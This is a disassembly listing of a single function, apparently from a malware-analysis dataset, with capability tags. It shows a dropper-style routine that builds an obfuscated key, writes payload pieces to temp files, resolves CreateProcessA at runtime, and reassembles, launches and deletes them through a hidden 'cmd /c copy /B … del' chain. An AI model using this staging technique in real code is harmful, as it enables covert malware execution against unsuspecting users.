Function at 0x10004860
Capabilities:
Contain obfuscated stackstrings
Delete file
Get common file path
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x14fc
call fcn.10057100
mov eax, dword [0x10088d90]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x110], 0
push 0x103
push 0
lea eax, [ebp - 0x10f]
push eax
call fcn.100542e0
add esp, 0xc
mov ecx, dword [ebp + 0xc]
mov dword [0x1008bea8], ecx
mov edx, dword [ebp + 0x14]
mov dword [0x1008bea4], edx
mov eax, dword [ebp + 0x10]
mov dword [0x1008bea0], eax
mov ecx, dword [ebp + 8]
mov dword [0x1008be40], ecx
lea edx, [ebp - 0x110]
push edx
call fcn.10019a70
mov byte [ebp - 0xb80], 0
push 0x103
push 0
lea eax, [ebp - 0xb7f]
push eax
call fcn.100542e0
add esp, 0xc
lea ecx, [ebp - 0xb80]
push ecx
call fcn.10019a70
mov byte [ebp - 0x12f0], 0
push 0x103
push 0
lea edx, [ebp - 0x12ef]
push edx
call fcn.100542e0
add esp, 0xc
lea eax, [ebp - 0x12f0]
push eax
call fcn.10019a70
mov byte [ebp - 0x1498], 0
push 0x103
push 0
lea ecx, [ebp - 0x1497]
push ecx
call fcn.100542e0
add esp, 0xc
lea edx, [ebp - 0x1498]
push edx
call fcn.10019a70
lea ecx, [ebp - 0x1389]
call fcn.1000d360
lea ecx, [ebp - 0x4bc]
call fcn.10012a80
mov dword [ebp - 0x14a0], 0
jmp 0x1000496f
mov eax, dword [ebp - 0x14a0]
add eax, 1
mov dword [ebp - 0x14a0], eax
cmp dword [ebp - 0x14a0], 3
jge 0x100049a8
push 4
lea ecx, [ebp - 0x4bc]
push ecx
lea edx, [ebp - 0x110]
push edx
lea ecx, [ebp - 0x1389]
call fcn.1000acb0
mov byte [ebp - 0x1381], al
movzx eax, byte [ebp - 0x1381]
test eax, eax
je 0x100049a6
jmp 0x100049a8
jmp 0x10004960
movzx ecx, byte [ebp - 0x1381]
test ecx, ecx
jne 0x100049d8
push str.1781
call fcn.10019ad0
lea ecx, [ebp - 0x4bc]
call fcn.10005600
lea ecx, [ebp - 0x1389]
call fcn.10012ee0
jmp 0x100055e6
lea ecx, [ebp - 0x3f8]
call fcn.100059c0
push 0x104
lea ecx, [ebp - 0x3f8]
call fcn.10005a40
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xffffffffffffffff
lea ecx, [ebp - 0x3f8]
call fcn.10005a60
lea ecx, [ebp - 0x424]
call fcn.100059c0
push 0x104
lea ecx, [ebp - 0x424]
call fcn.10005a40
push eax
push 0
push 0x10072528
lea ecx, [ebp - 0x3f8]
call fcn.1000d590
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov dword [ebp - 0xc90], eax
cmp dword [ebp - 0xc90], 0
jne 0x10004a8b
push str.1782
call fcn.10019ad0
lea ecx, [ebp - 0x424]
call fcn.100059e0
lea ecx, [ebp - 0x3f8]
call fcn.100059e0
lea ecx, [ebp - 0x4bc]
call fcn.10005600
lea ecx, [ebp - 0x1389]
call fcn.10012ee0
jmp 0x100055e6
push 0xffffffffffffffff
lea ecx, [ebp - 0x424]
call fcn.10005a60
lea ecx, [ebp - 0x424]
call fcn.10005a00
push eax
call fcn.100570cd
add esp, 4
lea ecx, [ebp - 0x424]
call fcn.1000d590
push eax
call fcn.1005709b
add esp, 4
mov dword [ebp - 0x8c8], eax
cmp dword [ebp - 0x8c8], 0
je 0x10004b0a
push str.1783
call fcn.10019ad0
lea ecx, [ebp - 0x424]
call fcn.100059e0
lea ecx, [ebp - 0x3f8]
call fcn.100059e0
lea ecx, [ebp - 0x4bc]
call fcn.10005600
lea ecx, [ebp - 0x1389]
call fcn.10012ee0
jmp 0x100055e6
push str.data.tmp
push 0x10072548
lea edx, [ebp - 0x424]
push edx
call fcn.10007ef0
add esp, 0xc
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea ecx, [ebp - 0x424]
call fcn.1000d590
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xa74], eax
cmp dword [ebp - 0xa74], 0xffffffff
jne 0x10004b8e
push str.1784
call fcn.10019ad0
lea ecx, [ebp - 0x424]
call fcn.100059e0
lea ecx, [ebp - 0x3f8]
call fcn.100059e0
lea ecx, [ebp - 0x4bc]
call fcn.10005600
lea ecx, [ebp - 0x1389]
call fcn.10012ee0
jmp 0x100055e6
mov dword [ebp - 0xc8c], 0
push 0
lea eax, [ebp - 0xc8c]
push eax
lea ecx, [ebp - 0x4bc]
call fcn.100138b0
push eax
lea ecx, [ebp - 0x4bc]
call fcn.1000d590
push eax
mov ecx, dword [ebp - 0xa74]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [ebp - 0xa74]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 0x41c], 0x30
mov byte [ebp - 0x410], 0x36
mov byte [ebp - 0x413], 0x35
mov byte [ebp - 0x400], 0
mov byte [ebp - 0x402], 0x38
mov byte [ebp - 0x40e], 0x36
mov byte [ebp - 0x401], 0x63
mov byte [ebp - 0x417], 0x32
mov byte [ebp - 0x41b], 0x35
mov byte [ebp - 0x407], 0x62
mov byte [ebp - 0x40d], 0x63
mov byte [ebp - 0x416], 0x30
mov byte [ebp - 0x40f], 0x33
mov byte [ebp - 0x415], 0x35
mov byte [ebp - 0x418], 0x64
mov byte [ebp - 0x40a], 0x61
mov byte [ebp - 0x414], 0x33
mov byte [ebp - 0x411], 0x34
mov byte [ebp - 0x40c], 0x31
mov byte [ebp - 0x406], 0x37
mov byte [ebp - 0x409], 0x31
mov byte [ebp - 0x41e], 0x66
mov byte [ebp - 0x412], 0x35
mov byte [ebp - 0x41d], 0x33
mov byte [ebp - 0x403], 0x63
mov byte [ebp - 0x405], 0x65
mov byte [ebp - 0x40b], 0x36
mov byte [ebp - 0x41a], 0x34
mov byte [ebp - 0x420], 0x39
mov byte [ebp - 0x419], 0x38
mov byte [ebp - 0x408], 0x37
mov byte [ebp - 0x404], 0x65
mov byte [ebp - 0x41f], 0x64
mov dword [ebp - 0x4b4], 0
push 1
lea ecx, [ebp - 0xa60]
call fcn.10005ad0
push 0x40
push 0x21
lea ecx, [ebp - 0x424]
call fcn.1000d590
push eax
lea ecx, [ebp - 0xa60]
call fcn.10005c10
lea ecx, [ebp - 0xa60]
call fcn.10005bf0
movzx eax, al
test eax, eax
jne 0x10004d3a
lea ecx, [ebp - 0xa60]
call fcn.10005630
lea ecx, [ebp - 0x424]
call fcn.100059e0
lea ecx, [ebp - 0x3f8]
call fcn.100059e0
lea ecx, [ebp - 0x4bc]
call fcn.10005600
lea ecx, [ebp - 0x1389]
call fcn.10012ee0
jmp 0x100055e6
push 2
push 0
lea ecx, [ebp - 0xa60]
call fcn.100058d0
lea ecx, [ebp - 0x14b8]
push ecx
lea ecx, [ebp - 0xa60]
call fcn.10005960
mov ecx, eax
call fcn.10005ab0
mov dword [ebp - 0x4b4], eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x14bc], esp
push 0
call fcn.10009b80
lea ecx, [ebp - 0xa60]
call fcn.10005820
mov edx, dword [ebp - 0x4b4]
push edx
call fcn.10053562
add esp, 4
mov dword [ebp - 0x14c0], eax
mov eax, dword [ebp - 0x14c0]
mov dword [ebp - 0x3f4], eax
mov ecx, dword [ebp - 0x4b4]
push ecx
mov edx, dword [ebp - 0x3f4]
push edx
lea ecx, [ebp - 0xa60]
call fcn.10005800
lea ecx, [ebp - 0xa60]
call fcn.10005c60
lea ecx, [ebp - 0x424]
call fcn.1000d590
push eax
call fcn.100570cd
add esp, 4
mov dword [ebp - 0x1380], 0
mov eax, dword [ebp - 0x4b4]
push eax
call fcn.10053562
add esp, 4
mov dword [ebp - 0x14c4], eax
mov ecx, dword [ebp - 0x14c4]
mov dword [ebp - 0x149c], ecx
lea ecx, [ebp - 0x3f0]
call fcn.10017370
mov byte [ebp - 0x3f0], 0
lea edx, [ebp - 0x420]
push edx
lea ecx, [ebp - 0x14e4]
call fcn.100039a0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14c8], esp
push 0x1007251e
call fcn.100039a0
lea eax, [ebp - 0x14e4]
push eax
lea ecx, [ebp - 0x3f0]
call fcn.100174a0
lea ecx, [ebp - 0x14e4]
call fcn.10001a80
lea ecx, [ebp - 0x1380]
push ecx
mov edx, dword [ebp - 0x149c]
push edx
mov eax, dword [ebp - 0x4b4]
push eax
mov ecx, dword [ebp - 0x3f4]
push ecx
lea ecx, [ebp - 0x3f0]
call fcn.100190c0
mov byte [ebp - 0x3f9], al
mov edx, dword [ebp - 0x3f4]
mov dword [ebp - 0x14e8], edx
mov eax, dword [ebp - 0x14e8]
push eax
call fcn.10057090
add esp, 4
movzx ecx, byte [ebp - 0x3f9]
test ecx, ecx
jne 0x10004f03
push 0x10072554
call fcn.10019ad0
lea ecx, [ebp - 0x3f0]
call fcn.10005660
lea ecx, [ebp - 0xa60]
call fcn.10005630
lea ecx, [ebp - 0x424]
call fcn.100059e0
lea ecx, [ebp - 0x3f8]
call fcn.100059e0
lea ecx, [ebp - 0x4bc]
call fcn.10005600
lea ecx, [ebp - 0x1389]
call fcn.10012ee0
jmp 0x100055e6
push str.CreateProcessA
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x1008be3c], eax
cmp dword [0x1008be3c], 0
jne 0x10004f79
push str.1785
call fcn.10019ad0
lea ecx, [ebp - 0x3f0]
call fcn.10005660
lea ecx, [ebp - 0xa60]
call fcn.10005630
lea ecx, [ebp - 0x424]
call fcn.100059e0
lea ecx, [ebp - 0x3f8]
call fcn.100059e0
lea ecx, [ebp - 0x4bc]
call fcn.10005600
lea ecx, [ebp - 0x1389]
call fcn.10012ee0
jmp 0x100055e6
mov dword [ebp - 0xa78], 0x400
mov edx, dword [ebp - 0xa78]
push edx
call fcn.10053562
add esp, 4
mov dword [ebp - 0x14ec], eax
mov eax, dword [ebp - 0x14ec]
mov dword [ebp - 0x1388], eax
mov ecx, dword [ebp - 0xa78]
push ecx
mov edx, dword [ebp - 0x149c]
push edx
mov eax, dword [ebp - 0x1388]
push eax
call fcn.10054410
add esp, 0xc
mov ecx, dword [ebp - 0x1380]
sub ecx, 0x400
mov dword [ebp - 0x11e4], ecx
mov edx, dword [ebp - 0x11e4]
push edx
call fcn.10053562
add esp, 4
mov dword [ebp - 0x14f0], eax
mov eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x428], eax
mov ecx, dword [ebp - 0x11e4]
push ecx
mov edx, dword [ebp - 0x149c]
add edx, 0x400
push edx
mov eax, dword [ebp - 0x428]
push eax
call fcn.10054410
add esp, 0xc
mov ecx, dword [ebp - 0x149c]
mov dword [ebp - 0x14f4], ecx
mov edx, dword [ebp - 0x14f4]
push edx
call fcn.10057090
add esp, 4
mov byte [ebp - 0xc88], 0
push 0x103
push 0
lea eax, [ebp - 0xc87]
push eax
call fcn.100542e0
add esp, 0xc
mov byte [ebp - 0x11e0], 0
push 0x103
push 0
lea ecx, [ebp - 0x11df]
push ecx
call fcn.100542e0
add esp, 0xc
mov byte [ebp - 0x9d0], 0
push 0x103
push 0
lea edx, [ebp - 0x9cf]
push edx
call fcn.100542e0
add esp, 0xc
mov dword [ebp - 0x137c], 0
mov dword [ebp - 0x8c4], 0
lea eax, [ebp - 0xc88]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
mov dword [ebp - 0x137c], eax
cmp dword [ebp - 0x137c], 0x104
ja 0x100050ca
cmp dword [ebp - 0x137c], 0
jne 0x1000511b
push 0x10072584
call fcn.10019ad0
lea ecx, [ebp - 0x3f0]
call fcn.10005660
lea ecx, [ebp - 0xa60]
call fcn.10005630
lea ecx, [ebp - 0x424]
call fcn.100059e0
lea ecx, [ebp - 0x3f8]
call fcn.100059e0
lea ecx, [ebp - 0x4bc]
call fcn.10005600
lea ecx, [ebp - 0x1389]
call fcn.10012ee0
jmp 0x100055e6
lea ecx, [ebp - 0x11e0]
push ecx
push 0
push 0x1007251f
lea edx, [ebp - 0xc88]
push edx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov dword [ebp - 0x8c4], eax
cmp dword [ebp - 0x8c4], 0
jne 0x10005196
push 0x1007258c
call fcn.10019ad0
lea ecx, [ebp - 0x3f0]
call fcn.10005660
lea ecx, [ebp - 0xa60]
call fcn.10005630
lea ecx, [ebp - 0x424]
call fcn.100059e0
lea ecx, [ebp - 0x3f8]
call fcn.100059e0
lea ecx, [ebp - 0x4bc]
call fcn.10005600
lea ecx, [ebp - 0x1389]
call fcn.10012ee0
jmp 0x100055e6
lea eax, [ebp - 0x9d0]
push eax
push 0
push 0x10072525
lea ecx, [ebp - 0xc88]
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
mov dword [ebp - 0x8c4], eax
cmp dword [ebp - 0x8c4], 0
jne 0x10005211
push str.1786
call fcn.10019ad0
lea ecx, [ebp - 0x3f0]
call fcn.10005660
lea ecx, [ebp - 0xa60]
call fcn.10005630
lea ecx, [ebp - 0x424]
call fcn.100059e0
lea ecx, [ebp - 0x3f8]
call fcn.100059e0
lea ecx, [ebp - 0x4bc]
call fcn.10005600
lea ecx, [ebp - 0x1389]
call fcn.10012ee0
jmp 0x100055e6
push 1
push 0x40
push 0x20
lea edx, [ebp - 0x11e0]
push edx
lea ecx, [ebp - 0x1378]
call fcn.100068b0
mov eax, dword [ebp - 0xa78]
push eax
mov ecx, dword [ebp - 0x1388]
push ecx
lea ecx, [ebp - 0x1378]
call fcn.100056f0
lea ecx, [ebp - 0x1378]
call fcn.10006a10
mov edx, dword [ebp - 0x1388]
mov dword [ebp - 0x14f8], edx
mov eax, dword [ebp - 0x14f8]
push eax
call fcn.10057090
add esp, 4
push 1
push 0x40
push 0x20
lea ecx, [ebp - 0x9d0]
push ecx
lea ecx, [ebp - 0x4b0]
call fcn.100068b0
mov edx, dword [ebp - 0x11e4]
push edx
mov eax, dword [ebp - 0x428]
push eax
lea ecx, [ebp - 0x4b0]
call fcn.100056f0
lea ecx, [ebp - 0x4b0]
call fcn.10006a10
mov ecx, dword [ebp - 0x428]
mov dword [ebp - 0x14fc], ecx
mov edx, dword [ebp - 0x14fc]
push edx
call fcn.10057090
add esp, 4
push 0x10
push 0
lea eax, [ebp - 0xa70]
push eax
call fcn.100542e0
add esp, 0xc
push 0x44
push 0
lea ecx, [ebp - 0x10d8]
push ecx
call fcn.100542e0
add esp, 0xc
mov dword [ebp - 0x10d8], 0x44
mov dword [ebp - 0x10ac], 1
xor edx, edx
mov word [ebp - 0x10a8], dx
mov byte [ebp - 0x8c0], 0
push 0x3ff
push 0
lea eax, [ebp - 0x8bf]
push eax
call fcn.100542e0
add esp, 0xc
lea ecx, [ebp - 0x9d0]
push ecx
lea edx, [ebp - 0x11e0]
push edx
lea eax, [ebp - 0xb80]
push eax
lea ecx, [ebp - 0x9d0]
push ecx
lea edx, [ebp - 0x11e0]
push edx
push str.cmd__d__c_timeout_1__cmd__d__c_copy__B__Y___s___s____s___cmd__d__c_del___s___cmd__d__c_del___s_
push 0x400
lea eax, [ebp - 0x8c0]
push eax
call fcn.100543e6
add esp, 0x20
cmp dword [0x1008be3c], 0
je 0x100053ff
lea ecx, [ebp - 0xa70]
push ecx
lea edx, [ebp - 0x10d8]
push edx
push 0
push 0
push 0x8000000
push 0
push 0
push 0
lea eax, [ebp - 0x8c0]
push eax
push 0
call dword [0x1008be3c]
test eax, eax
jne 0x100053ff
push str.1787
call fcn.10019ad0
lea ecx, [ebp - 0x4b0]
call fcn.100056c0
lea ecx, [ebp - 0x1378]
call fcn.100056c0
lea ecx, [ebp - 0x3f0]
call fcn.10005660
lea ecx, [ebp - 0xa60]
call fcn.10005630
lea ecx, [ebp - 0x424]
call fcn.100059e0
lea ecx, [ebp - 0x3f8]
call fcn.100059e0
lea ecx, [ebp - 0x4bc]
call fcn.10005600
lea ecx, [ebp - 0x1389]
call fcn.10012ee0
jmp 0x100055e6
push 0xffffffffffffffff
mov ecx, dword [ebp - 0xa70]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [ebp - 0xa70]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xa6c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x10
push 0
lea ecx, [ebp - 0xa70]
push ecx
call fcn.100542e0
add esp, 0xc
push 0x44
push 0
lea edx, [ebp - 0x10d8]
push edx
call fcn.100542e0
add esp, 0xc
mov dword [ebp - 0x10d8], 0x44
mov byte [ebp - 0x1090], 0
push 0x3ff
push 0
lea eax, [ebp - 0x108f]
push eax
call fcn.100542e0
add esp, 0xc
lea ecx, [ebp - 0x12f0]
push ecx
lea edx, [ebp - 0xb80]
push edx
push str.__s___s
push 0x400
lea eax, [ebp - 0x1090]
push eax
call fcn.100543e6
add esp, 0x14
cmp dword [0x1008be3c], 0
je 0x10005542
lea ecx, [ebp - 0xa70]
push ecx
lea edx, [ebp - 0x10d8]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x1090]
push eax
lea ecx, [ebp - 0xb80]
push ecx
call dword [0x1008be3c]
test eax, eax
jne 0x10005542
push str.1788
call fcn.10019ad0
lea ecx, [ebp - 0x4b0]
call fcn.100056c0
lea ecx, [ebp - 0x1378]
call fcn.100056c0
lea ecx, [ebp - 0x3f0]
call fcn.10005660
lea ecx, [ebp - 0xa60]
call fcn.10005630
lea ecx, [ebp - 0x424]
call fcn.100059e0
lea ecx, [ebp - 0x3f8]
call fcn.100059e0
lea ecx, [ebp - 0x4bc]
call fcn.10005600
lea ecx, [ebp - 0x1389]
call fcn.10012ee0
jmp 0x100055e6
movsx edx, byte [ebp - 0x1498]
cmp edx, 0x31
jne 0x10005584
push 0xffffffffffffffff
mov eax, dword [ebp - 0xa70]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [ebp - 0xa70]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp - 0xa6c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0xb80]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push str.1789
call fcn.10019ad0
lea ecx, [ebp - 0x4b0]
call fcn.100056c0
lea ecx, [ebp - 0x1378]
call fcn.100056c0
lea ecx, [ebp - 0x3f0]
call fcn.10005660
lea ecx, [ebp - 0xa60]
call fcn.10005630
lea ecx, [ebp - 0x424]
call fcn.100059e0
lea ecx, [ebp - 0x3f8]
call fcn.100059e0
lea ecx, [ebp - 0x4bc]
call fcn.10005600
lea ecx, [ebp - 0x1389]
call fcn.10012ee0
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005435a
mov esp, ebp
pop ebp
ret